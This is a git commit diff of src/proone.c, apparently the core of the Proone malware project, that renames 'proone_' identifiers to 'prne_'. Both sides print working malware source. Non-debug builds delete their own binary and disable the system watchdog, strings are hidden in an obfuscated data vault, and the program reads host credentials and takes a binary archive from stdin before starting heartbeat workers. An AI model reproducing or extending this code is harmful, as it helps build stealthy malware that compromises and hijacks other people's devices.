checkpoint

1 files changed, 66 insertions, 66 deletions

diff --git a/src/proone.c b/src/proone.c
index 7ddaa8b..33cea92 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -16,17 +16,17 @@
 #include <sys/file.h>
 
 #include "proone.h"
-#include "proone_util.h"
-#include "proone_dvault.h"
-#include "proone_heartbeat-worker.h"
+#include "util.h"
+#include "dvault.h"
+#include "heartbeat-worker.h"
 
 
-struct proone_global pne_global;
+struct prne_global pne_g;
 
 
 typedef struct {
-    proone_worker_t worker;
-    proone_worker_sched_req_t sched_req;
+    prne_worker_t worker;
+    prne_worker_sched_req_t sched_req;
 } worker_tuple_t;
 
 typedef struct {
@@ -45,10 +45,10 @@ static bool ensure_single_instance (void) {
     int fd;
 
     fd = shm_open(
-        proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM, NULL),
+        prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL),
         O_RDWR | O_CREAT | O_TRUNC,
         0666);
-    proone_dvault_reset_dict();
+    prne_dvault_reset_dict();
     if (fd < 0) {
         return true;
     }
@@ -57,7 +57,7 @@ static bool ensure_single_instance (void) {
         return errno != EWOULDBLOCK;
     }
     else {
-        pne_global.has_proc_lim_lock = true;
+        pne_g.has_proc_lim_lock = true;
     }
 
     return true;
@@ -66,7 +66,7 @@ static bool ensure_single_instance (void) {
 static void init_rnd_engine (void) {
     uint32_t seed = 0;
     int fd;
-    proone_rnd_engnie_alloc_result_t ret;
+    prne_rnd_engnie_alloc_result_t ret;
 
     fd = open("/dev/urandom", O_RDONLY);
     if (fd >= 0) {
@@ -83,12 +83,12 @@ static void init_rnd_engine (void) {
             (uint32_t)(clock() % 0xFFFFFFFF);
     }
     
-    ret = proone_alloc_rnd_engine(seed == 0 ? NULL : &seed);
-    if (ret.result != PROONE_RND_ENGINE_ALLOC_OK) {
+    ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed);
+    if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) {
         abort();
     }
 
-    pne_global.rnd = ret.engine;
+    pne_g.rnd = ret.engine;
 }
 
 static void delete_myself (const char *arg0) {
@@ -130,14 +130,14 @@ static void disasble_watchdog (void) {
 }
 
 static void handle_interrupt (const int sig) {
-    if (pne_global.caught_signal == 0) {
-        pne_global.caught_signal = sig;
+    if (pne_g.caught_signal == 0) {
+        pne_g.caught_signal = sig;
     }
     signal(sig, SIG_DFL);
 }
 
 static void proc_fin_call (void) {
-    if (pne_global.caught_signal != 0) {
+    if (pne_g.caught_signal != 0) {
         size_t i;
         worker_tuple_t *wt;
 
@@ -146,7 +146,7 @@ static void proc_fin_call (void) {
             wt->worker.fin(wt->worker.ctx);
         }
 
-        proc_fin_call_ptr = proone_empty_func;
+        proc_fin_call_ptr = prne_empty_func;
         finalising = true;
     }
 }
@@ -156,15 +156,15 @@ static void print_ready_signature (void) {
     uint8_t *sig_data;
     char *plain_str, *sig_str;
     
-    plain_str = proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_SIGN_INIT_OK, &len);
+    plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len);
 
     sig_data = (uint8_t*)malloc(len + 1);
-    sig_data[0] = (uint8_t)(proone_rnd_gen_int(pne_global.rnd) % 256);
+    sig_data[0] = (uint8_t)(prne_rnd_gen_int(pne_g.rnd) % 256);
     memcpy(sig_data + 1, plain_str, len);
-    proone_dvault_reset_dict();
-    proone_dvault_invert_mem(len, sig_data + 1, sig_data[0]);
+    prne_dvault_reset_dict();
+    prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]);
 
-    sig_str = proone_enc_base64_mem(sig_data, len);
+    sig_str = prne_enc_base64_mem(sig_data, len);
     if (sig_str == NULL) {
         abort();
     }
@@ -192,7 +192,7 @@ static void read_host_credential (void) {
         }
     }
     if (found) {
-        proone_dec_base64_mem(buf, i, &pne_global.host_cred_data, &pne_global.host_cred_size);
+        prne_dec_base64_mem(buf, i, &pne_g.host_cred_data, &pne_g.host_cred_size);
     }
 
 END:
@@ -204,19 +204,19 @@ int main (const int argc, char **args) {
     int exit_code = 0;
     size_t i;
     worker_tuple_t *wt;
-    proone_worker_sched_info_t sched_info;
+    prne_worker_sched_info_t sched_info;
 
-    pne_global.host_cred_data = NULL;
-    pne_global.host_cred_size = 0;
-    pne_global.has_proc_lim_lock = false;
-    pne_global.bin_ready = false;
-    pne_global.caught_signal = 0;
-    pne_global.rnd = NULL;
-    proone_init_unpack_bin_archive_result(&pne_global.bin_pack);
-    proone_init_bin_archive(&pne_global.bin_archive);
+    pne_g.host_cred_data = NULL;
+    pne_g.host_cred_size = 0;
+    pne_g.has_proc_lim_lock = false;
+    pne_g.bin_ready = false;
+    pne_g.caught_signal = 0;
+    pne_g.rnd = NULL;
+    prne_init_unpack_bin_archive_result(&pne_g.bin_pack);
+    prne_init_bin_archive(&pne_g.bin_archive);
 
     /* quick prep. IN THIS ORDER! */
-    proone_init_dvault();
+    prne_init_dvault();
 #ifndef DEBUG
     delete_myself(args[0]);
     disasble_watchdog();
@@ -226,9 +226,9 @@ int main (const int argc, char **args) {
     print_ready_signature();
     read_host_credential();
     // get fed with the bin archive
-    pne_global.bin_pack = proone_unpack_bin_archive(STDIN_FILENO);
-    if (pne_global.bin_pack.result == PROONE_UNPACK_BIN_ARCHIVE_OK) {
-        pne_global.bin_ready = proone_index_bin_archive(&pne_global.bin_pack, &pne_global.bin_archive) == PROONE_INDEX_BIN_ARCHIVE_OK;
+    pne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO);
+    if (pne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) {
+        pne_g.bin_ready = prne_index_bin_archive(&pne_g.bin_pack, &pne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK;
     }
     
     // done with the terminal
@@ -251,34 +251,34 @@ int main (const int argc, char **args) {
     }
 
     // init workers
-    if (proone_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) {
+    if (prne_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) {
         worker_pool_size += 1;
     }
 
     // TODO
 
     for (i = 0; i < worker_pool_size; i += 1) {
-        proone_init_worker_sched_req(&worker_pool[i].sched_req, NULL);
+        prne_init_worker_sched_req(&worker_pool[i].sched_req, NULL);
     }
 
-    if (worker_pool_size == 0 || pne_global.caught_signal != 0) {
+    if (worker_pool_size == 0 || pne_g.caught_signal != 0) {
         goto END;
     }
 
     proc_fin_call_ptr = proc_fin_call;
 
-    proone_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick));
+    prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick));
     pollfd_pool.arr = NULL;
     pollfd_pool.size = 0;
     while (true) {
-        proone_worker_sched_flag_t all_sched_flag = PROONE_WORKER_SCHED_FLAG_NONE;
+        prne_worker_sched_flag_t all_sched_flag = PRNE_WORKER_SCHED_FLAG_NONE;
         struct timespec timeout;
         size_t total_pollfd_size = 0;
         bool worked = false;
 
-        proone_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick));
-        sched_info.tick_diff = proone_sub_timespec(&sched_info.this_tick, &sched_info.last_tick);
-        sched_info.real_tick_diff = proone_real_timespec(&sched_info.tick_diff);
+        prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick));
+        sched_info.tick_diff = prne_sub_timespec(&sched_info.this_tick, &sched_info.last_tick);
+        sched_info.real_tick_diff = prne_real_timespec(&sched_info.tick_diff);
 
         proc_fin_call_ptr();
         
@@ -292,9 +292,9 @@ int main (const int argc, char **args) {
             wt->worker.work(wt->worker.ctx, &sched_info, &wt->sched_req);
             worked |= true;
 
-            if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_TIMEOUT) {
-                if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT) {
-                    if (proone_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) {
+            if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_TIMEOUT) {
+                if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) {
+                    if (prne_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) {
                         timeout = wt->sched_req.timeout;
                     }
                 }
@@ -302,7 +302,7 @@ int main (const int argc, char **args) {
                     timeout = wt->sched_req.timeout;
                 }
             }
-            if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) {
+            if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) {
                 total_pollfd_size += wt->sched_req.pollfd_arr_size;
             }
 
@@ -317,7 +317,7 @@ int main (const int argc, char **args) {
             }
             break;
         }
-        else if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_POLL) {
+        else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_POLL) {
             void *ny_mem;
             size_t pollfd_ptr;
 
@@ -337,14 +337,14 @@ int main (const int argc, char **args) {
                         continue;
                     }
                     
-                    if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) {
+                    if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) {
                         wt->sched_req.pollfd_ready = false;
                         memcpy(pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr, wt->sched_req.pollfd_arr_size * sizeof(struct pollfd));
                         pollfd_ptr += wt->sched_req.pollfd_arr_size;
                     }
                 }
 
-                if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) {
+                if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) {
                     switch (errno) {
                     case EINTR:
                     case ENOMEM:
@@ -362,7 +362,7 @@ int main (const int argc, char **args) {
                             continue;
                         }
 
-                        if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) {
+                        if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) {
                             wt->sched_req.pollfd_ready = true;
                             memcpy(wt->sched_req.pollfd_arr, pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr_size);
                             pollfd_ptr += wt->sched_req.pollfd_arr_size;
@@ -371,7 +371,7 @@ int main (const int argc, char **args) {
                 }
             }
         }
-        else if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT) {
+        else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) {
             if (nanosleep(&timeout, NULL) < 0 && errno != EINTR) {
                 abort();
             }
@@ -389,24 +389,24 @@ END:
         wt->sched_req.mem_func.free(&wt->sched_req);
     }
 
-    free(pne_global.host_cred_data);
-    pne_global.host_cred_data = NULL;
-    pne_global.host_cred_size = 0;
+    free(pne_g.host_cred_data);
+    pne_g.host_cred_data = NULL;
+    pne_g.host_cred_size = 0;
 
-    if (pne_global.has_proc_lim_lock) {
-        shm_unlink(proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM, NULL));
-        proone_dvault_reset_dict();
-        pne_global.has_proc_lim_lock = false;
+    if (pne_g.has_proc_lim_lock) {
+        shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL));
+        prne_dvault_reset_dict();
+        pne_g.has_proc_lim_lock = false;
     }
 
-    proone_free_bin_archive(&pne_global.bin_archive);
-    proone_free_unpack_bin_archive_result(&pne_global.bin_pack);
-    pne_global.bin_ready = false;
+    prne_free_bin_archive(&pne_g.bin_archive);
+    prne_free_unpack_bin_archive_result(&pne_g.bin_pack);
+    pne_g.bin_ready = false;
     
-    proone_free_rnd_engine(pne_global.rnd);
-    pne_global.rnd = NULL;
+    prne_free_rnd_engine(pne_g.rnd);
+    pne_g.rnd = NULL;
 
-    proone_deinit_dvault();
+    prne_deinit_dvault();
 
     return exit_code;
 }